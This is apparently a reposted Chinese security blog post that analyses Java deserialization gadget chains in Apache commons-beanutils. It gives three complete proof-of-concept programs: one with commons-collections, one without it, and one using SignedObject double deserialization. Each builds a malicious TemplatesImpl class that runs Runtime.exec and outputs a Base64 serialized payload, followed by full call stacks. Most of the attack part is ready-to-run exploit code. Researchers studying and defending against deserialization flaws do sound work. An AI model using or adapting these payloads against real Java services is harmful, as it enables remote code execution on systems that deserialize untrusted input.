|
原文链接:commons-beanutils 的三种利用原理构造与POC
写在前面
commons-beanutils 是 Apache 提供的一个用于操作 JAVA bean 的工具包。里面提供了各种各样的工具类,让我们可以很方便的对bean对象的属性进行各种操作。
其中比较常使用的有:
MethodUtils/ConstructorUtils/PropertyUtils/BeanUtils/ConvertUtils等。
分析
在之前CC链的分析中就有着一条链是通过java.util.PriorityQueue的readObject来触发的,相信大家都有印象。
主要是通过调用了其comparator的compare方法,进而调用了transform链的调用,看一下之前的调用链。
* Gadget chain: * ObjectInputStream.readObject() * PriorityQueue.readObject() * PriorityQueue.heapify() * PriorityQueue.siftDown() * PriorityQueue.siftDownUsingComparator() * TransformingComparator.compare() * InvokerTransformer.transform() * Method.invoke() * TemplatesImpl.newTransformer() * TemplatesImpl.getTransletInstance() * Runtime.exec()(向右滑动,查看更多)
而CB链的思路就是,将其中的comparator替换成commons-beanutils库中的某个comparator,达到我们的目的。我们可以通过Codeql进行查看一下CB库中有哪些Comparator。
编辑
存在有一个BeanComparator这个类。
BeanComparator
这个类是用来判断两个Bean是否相等的类,跟进一下构造方法。
编辑
在创建类的对象的时候可以为comparator赋予特定的比较器,值得注意的是如果没有设定自定义的comparator,其默认为ComparableComparator对象,当然,在调用链中,将会调用他的compare方法。
编辑
在方法中,将会通过调用PropertyUtils.getProperty将会取出两个对象的property属性值,之后调用internalCompare通过在创建BeanComparator对象是创建的比较器。
编辑
PropertyUtils
而对于在其中调用的getProperty方法。
编辑
接收两个参数 bean (类对象)和 name(属性名),方法会返回这个类的这个属性的值,但是他不是直接通过反射取值,而是通过反射调用getter方法获取属性,进而经过恶意的构造,我们可以触发任意的getter方法。
编辑
构造利用
依赖CC库
那么我就就可以按照上面分析的思路构造利用了。我们的目标是通过触发任意的getter方法,达到调用TemplatesImpl#getOutputProperties方法执行命令。
首先我们需要创建一个恶意的TemplatesImpl类。
//动态创建字节码String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";ClassPool pool = ClassPool.getDefault();CtClass ctClass = pool.makeClass("EVil");ctClass.makeClassInitializer().insertBefore(cmd);ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));byte[] bytes = ctClass.toBytecode();TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_name", "RoboTerh");setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());setFieldValue(templates, "_bytecodes", new byte[][]{bytes});(向右滑动,查看更多)
我是通过javassist库进行创建恶意类生成字节码的,同样可以通过创建一个实类进行获取,特别注意的是对于TemplatesImpl利用链来说,其恶意类需要继承AbstractTranslet类。
之后我们创建一个比较器和PriorityQueue类,并将恶意类放入queue属性中。
//创建比较器BeanComparator beanComparator = new BeanComparator()riorityQueue queue = new PriorityQueue(2, beanComparator);queue.add(1);queue.add(1);//反射赋值setFieldValue(beanComparator, "property", "outputProperties");setFieldValue(queue, "queue", new Object[]{templates, templates});(向右滑动,查看更多)
完整的POC
- package pers.cb;
- import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
- import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
- import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
- import javassist.CannotCompileException;
- import javassist.ClassPool;
- import javassist.CtClass;
- import javassist.NotFoundException;
- import org.apache.commons.beanutils.BeanComparator;
- import java.io.*;
- import java.lang.reflect.Field;
- import java.util.Base64;
- import java.util.PriorityQueue;
- public class CB_withCC {
- public static void setFieldValue(Object obj, String fieldname, Object value) throws NoSuchFieldException, IllegalAccessException {
- Field field = obj.getClass().getDeclaredField(fieldname);
- field.setAccessible(true);
- field.set(obj, value);
- }
- public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, NotFoundException, IOException, CannotCompileException, ClassNotFoundException {
- //动态创建字节码
- String cmd = "java.lang.Runtime.getRuntime().exec("calc");";
- ClassPool pool = ClassPool.getDefault();
- CtClass ctClass = pool.makeClass("EVil");
- ctClass.makeClassInitializer().insertBefore(cmd);
- ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
- byte[] bytes = ctClass.toBytecode();
- TemplatesImpl templates = new TemplatesImpl();
- setFieldValue(templates, "_name", "RoboTerh");
- setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
- setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
- //创建比较器
- BeanComparator beanComparator = new BeanComparator();
- PriorityQueue queue = new PriorityQueue(2, beanComparator);
- queue.add(1);
- queue.add(1);
- //反射赋值
- setFieldValue(beanComparator, "property", "outputProperties");
- setFieldValue(queue, "queue", new Object[]{templates, templates});
- //序列化
- ByteArrayOutputStream baor = new ByteArrayOutputStream();
- ObjectOutputStream oos = new ObjectOutputStream(baor);
- oos.writeObject(queue);
- oos.close();
- System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray())));
- //反序列化
- ByteArrayInputStream bais = new ByteArrayInputStream(baor.toByteArray());
- ObjectInputStream ois = new ObjectInputStream(bais);
- Object o = ois.readObject();
- baor.close();
- }
- }
复制代码
(向右滑动,查看更多)
编辑
调用栈。
- exec:347, Runtime (java.lang)
- <clinit>:-1, EVil
- newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
- newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
- newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
- newInstance:423, Constructor (java.lang.reflect)
- newInstance:442, Class (java.lang)
- getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
- newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
- getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
- invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
- invoke:62, NativeMethodAccessorImpl (sun.reflect)
- invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
- invoke:498, Method (java.lang.reflect)
- invokeMethod:2128, PropertyUtilsBean (org.apache.commons.beanutils)
- getSimpleProperty:1279, PropertyUtilsBean (org.apache.commons.beanutils)
- getNestedProperty:809, PropertyUtilsBean (org.apache.commons.beanutils)
- getProperty:885, PropertyUtilsBean (org.apache.commons.beanutils)
- getProperty:464, PropertyUtils (org.apache.commons.beanutils)
- compare:163, BeanComparator (org.apache.commons.beanutils)
- siftDownUsingComparator:722, PriorityQueue (java.util)
- siftDown:688, PriorityQueue (java.util)
- heapify:737, PriorityQueue (java.util)
- readObject:797, PriorityQueue (java.util)
- invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
- invoke:62, NativeMethodAccessorImpl (sun.reflect)
- invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
- invoke:498, Method (java.lang.reflect)
- invokeReadObject:1170, ObjectStreamClass (java.io)
- readSerialData:2178, ObjectInputStream (java.io)
- readOrdinaryObject:2069, ObjectInputStream (java.io)
- readObject0:1573, ObjectInputStream (java.io)
- readObject:431, ObjectInputStream (java.io)
- main:57, CB_withCC (pers.cb)
复制代码
(向右滑动,查看更多)
但是上面的链子存在一个问题,如果我们将CC库的依赖去调用,将不能执行命令,为什么呢?
在前面对BeanComparator的分析中,提到了,在创建类对象的时候,将会判断是否存在有comparator属性值,如果没有将会创建一个ComparableComparator对象。
编辑
不幸的是,这个类是存在commons-collections的类,如果没有这个依赖,在反序列化的过程中将会抛出异常。当然同样有着解决的办法!
不依赖CC库
前面提到了,对于没有CC依赖的原因是,默认下的comparator,是CC依赖中的类,如果我们在创建类的时候赋予了一个在JDK或者commons-beanutils依赖中存在的comparator并且实现了Serializable接口就行了。
对于commons-beanutils中,只有BeanComparator这一个类满足,我们查找一下JDK中的类。
存在很多很多,常用的为java.util.Collections$ReverseComparator或者java.lang.String$CaseInsensitiveComparator
我们只需要反射将对应的comparator写入属性中,就不需要依赖CC库了。
//反射赋值setFieldValue(beanComparator, "property", "outputProperties");//下面这两个二选一都可以//setFieldValue(beanComparator, "comparator", String.CASE_INSENSITIVE_ORDER);setFieldValue(beanComparator, "comparator", Collections.reverseOrder());setFieldValue(queue, "queue", new Object[]{templates, templates});(向右滑动,查看更多)
完整的POC。
- package pers.cb;
- import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
- import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
- import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
- import javassist.CannotCompileException;
- import javassist.ClassPool;
- import javassist.CtClass;
- import javassist.NotFoundException;
- import org.apache.commons.beanutils.BeanComparator;
- import java.io.*;
- import java.lang.reflect.Field;
- import java.util.Base64;
- import java.util.Collections;
- import java.util.PriorityQueue;
- public class CB_withoutCC {
- public static void setFieldValue(Object obj, String fieldname, Object value) throws NoSuchFieldException, IllegalAccessException {
- Field field = obj.getClass().getDeclaredField(fieldname);
- field.setAccessible(true);
- field.set(obj, value);
- }
- public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, NotFoundException, IOException, CannotCompileException, ClassNotFoundException {
- //动态创建字节码
- String cmd = "java.lang.Runtime.getRuntime().exec("calc");";
- ClassPool pool = ClassPool.getDefault();
- CtClass ctClass = pool.makeClass("Evil");
- ctClass.makeClassInitializer().insertBefore(cmd);
- ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));
- byte[] bytes = ctClass.toBytecode();
- TemplatesImpl templates = new TemplatesImpl();
- setFieldValue(templates, "_name", "RoboTerh");
- setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
- setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
- //创建比较器
- BeanComparator beanComparator = new BeanComparator();
- PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
- queue.add(1);
- queue.add(1);
- //反射赋值
- setFieldValue(beanComparator, "property", "outputProperties");
- //下面这两个二选一都可以
- //setFieldValue(beanComparator, "comparator", String.CASE_INSENSITIVE_ORDER);
- setFieldValue(beanComparator, "comparator", Collections.reverseOrder());
- setFieldValue(queue, "queue", new Object[]{templates, templates});
- //序列化
- ByteArrayOutputStream baor = new ByteArrayOutputStream();
- ObjectOutputStream oos = new ObjectOutputStream(baor);
- oos.writeObject(queue);
- oos.close();
- System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray())));
- //反序列化
- ByteArrayInputStream bais = new ByteArrayInputStream(baor.toByteArray());
- ObjectInputStream ois = new ObjectInputStream(bais);
- Object o = ois.readObject();
- baor.close();
- }
- }
复制代码
(向右滑动,查看更多)
编辑
二次反序列化
同样可以通过二次反序列化的方式触发利用链,在SignedObject#getObject方法中。
编辑
能够对类对象的content属性中的数据进行反序列化,如果我们能够添加自定义content属性值,替换成序列化数据,就能够达到恶意目的,我们看看构造方法。
编辑
很好,只需要传入一个实现了java.io.Serializable接口的对象做为第一个参数,那么将会将其进行序列化之后将字节传给content属性,那么就可以构造了。
创建一个恶意对象。
PriorityQueue queue1 = getpayload(obj, "outputProperties");
(向右滑动,查看更多)
将这个对象传入SignedObject类中。
- KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
- kpg.initialize(1024);
- KeyPair kp = kpg.generateKeyPair();
- SignedObject signedObject = new SignedObject(queue1, kp.getPrivate(), Signature.getInstance("DSA"));
复制代码
(向右滑动,查看更多)
完整的POC。
- package pers.cb;
- import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
- import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
- import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
- import javassist.ClassPool;
- import javassist.CtClass;
- import org.apache.commons.beanutils.BeanComparator;
- import java.io.ByteArrayInputStream;
- import java.io.ByteArrayOutputStream;
- import java.io.ObjectInputStream;
- import java.io.ObjectOutputStream;
- import java.lang.reflect.Field;
- import java.security.KeyPair;
- import java.security.KeyPairGenerator;
- import java.security.Signature;
- import java.security.SignedObject;
- import java.util.Base64;
- import java.util.PriorityQueue;
- public class CB_withoutCC_twice_deserialization {
- public static void setFieldValue(Object obj, String field, Object value) throws Exception{
- Field declaredField = obj.getClass().getDeclaredField(field);
- declaredField.setAccessible(true);
- declaredField.set(obj, value);
- }
- public static PriorityQueue<Object> getpayload(Object object, String string) throws Exception {
- BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
- PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
- priorityQueue.add("1");
- priorityQueue.add("2");
- setFieldValue(beanComparator, "property", string);
- setFieldValue(priorityQueue, "queue", new Object[]{object, null});
- return priorityQueue;
- }
- public static void main(String[] args) throws Exception {
- //生成恶意的bytecodes
- String cmd = "java.lang.Runtime.getRuntime().exec("calc");";
- ClassPool classPool = ClassPool.getDefault();
- CtClass ctClass = classPool.makeClass("evilexp");
- ctClass.makeClassInitializer().insertBefore(cmd);
- ctClass.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
- byte[] bytes = ctClass.toBytecode();
- TemplatesImpl obj = new TemplatesImpl();
- setFieldValue(obj, "_bytecodes", new byte[][]{ bytes });
- setFieldValue(obj, "_name", "RoboTerh");
- setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
- PriorityQueue queue1 = getpayload(obj, "outputProperties");
- KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
- kpg.initialize(1024);
- KeyPair kp = kpg.generateKeyPair();
- SignedObject signedObject = new SignedObject(queue1, kp.getPrivate(), Signature.getInstance("DSA"));
- PriorityQueue queue2 = getpayload(signedObject, "object");
- //序列化
- ByteArrayOutputStream baor = new ByteArrayOutputStream();
- ObjectOutputStream oos = new ObjectOutputStream(baor);
- oos.writeObject(queue2);
- oos.close();
- System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray())));
- //反序列化
- ByteArrayInputStream bais = new ByteArrayInputStream(baor.toByteArray());
- ObjectInputStream ois = new ObjectInputStream(bais);
- Object o = ois.readObject();
- baor.close();
- }
- }
复制代码
(向右滑动,查看更多)
编辑
调用栈。
- exec:347, Runtime (java.lang)
- <clinit>:-1, evilexp
- newInstance0:-1, NativeConstructorAccessorImpl (sun.reflect)
- newInstance:62, NativeConstructorAccessorImpl (sun.reflect)
- newInstance:45, DelegatingConstructorAccessorImpl (sun.reflect)
- newInstance:423, Constructor (java.lang.reflect)
- newInstance:442, Class (java.lang)
- getTransletInstance:455, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
- newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
- getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
- invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
- invoke:62, NativeMethodAccessorImpl (sun.reflect)
- invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
- invoke:498, Method (java.lang.reflect)
- invokeMethod:2128, PropertyUtilsBean (org.apache.commons.beanutils)
- getSimpleProperty:1279, PropertyUtilsBean (org.apache.commons.beanutils)
- getNestedProperty:809, PropertyUtilsBean (org.apache.commons.beanutils)
- getProperty:885, PropertyUtilsBean (org.apache.commons.beanutils)
- getProperty:464, PropertyUtils (org.apache.commons.beanutils)
- compare:163, BeanComparator (org.apache.commons.beanutils)
- siftDownUsingComparator:722, PriorityQueue (java.util)
- siftDown:688, PriorityQueue (java.util)
- heapify:737, PriorityQueue (java.util)
- readObject:797, PriorityQueue (java.util)
- invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
- invoke:62, NativeMethodAccessorImpl (sun.reflect)
- invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
- invoke:498, Method (java.lang.reflect)
- invokeReadObject:1170, ObjectStreamClass (java.io)
- readSerialData:2178, ObjectInputStream (java.io)
- readOrdinaryObject:2069, ObjectInputStream (java.io)
- readObject0:1573, ObjectInputStream (java.io)
- readObject:431, ObjectInputStream (java.io)
- getObject:179, SignedObject (java.security)
- invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
- invoke:62, NativeMethodAccessorImpl (sun.reflect)
- invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
- invoke:498, Method (java.lang.reflect)
- invokeMethod:2128, PropertyUtilsBean (org.apache.commons.beanutils)
- getSimpleProperty:1279, PropertyUtilsBean (org.apache.commons.beanutils)
- getNestedProperty:809, PropertyUtilsBean (org.apache.commons.beanutils)
- getProperty:885, PropertyUtilsBean (org.apache.commons.beanutils)
- getProperty:464, PropertyUtils (org.apache.commons.beanutils)
- compare:163, BeanComparator (org.apache.commons.beanutils)
- siftDownUsingComparator:722, PriorityQueue (java.util)
- siftDown:688, PriorityQueue (java.util)
- heapify:737, PriorityQueue (java.util)
- readObject:797, PriorityQueue (java.util)
- invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
- invoke:62, NativeMethodAccessorImpl (sun.reflect)
- invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
- invoke:498, Method (java.lang.reflect)
- invokeReadObject:1170, ObjectStreamClass (java.io)
- readSerialData:2178, ObjectInputStream (java.io)
- readOrdinaryObject:2069, ObjectInputStream (java.io)
- readObject0:1573, ObjectInputStream (java.io)
- readObject:431, ObjectInputStream (java.io)
- main:70, CB_withoutCC_twice_deserialization (pers.cb)
复制代码
|
|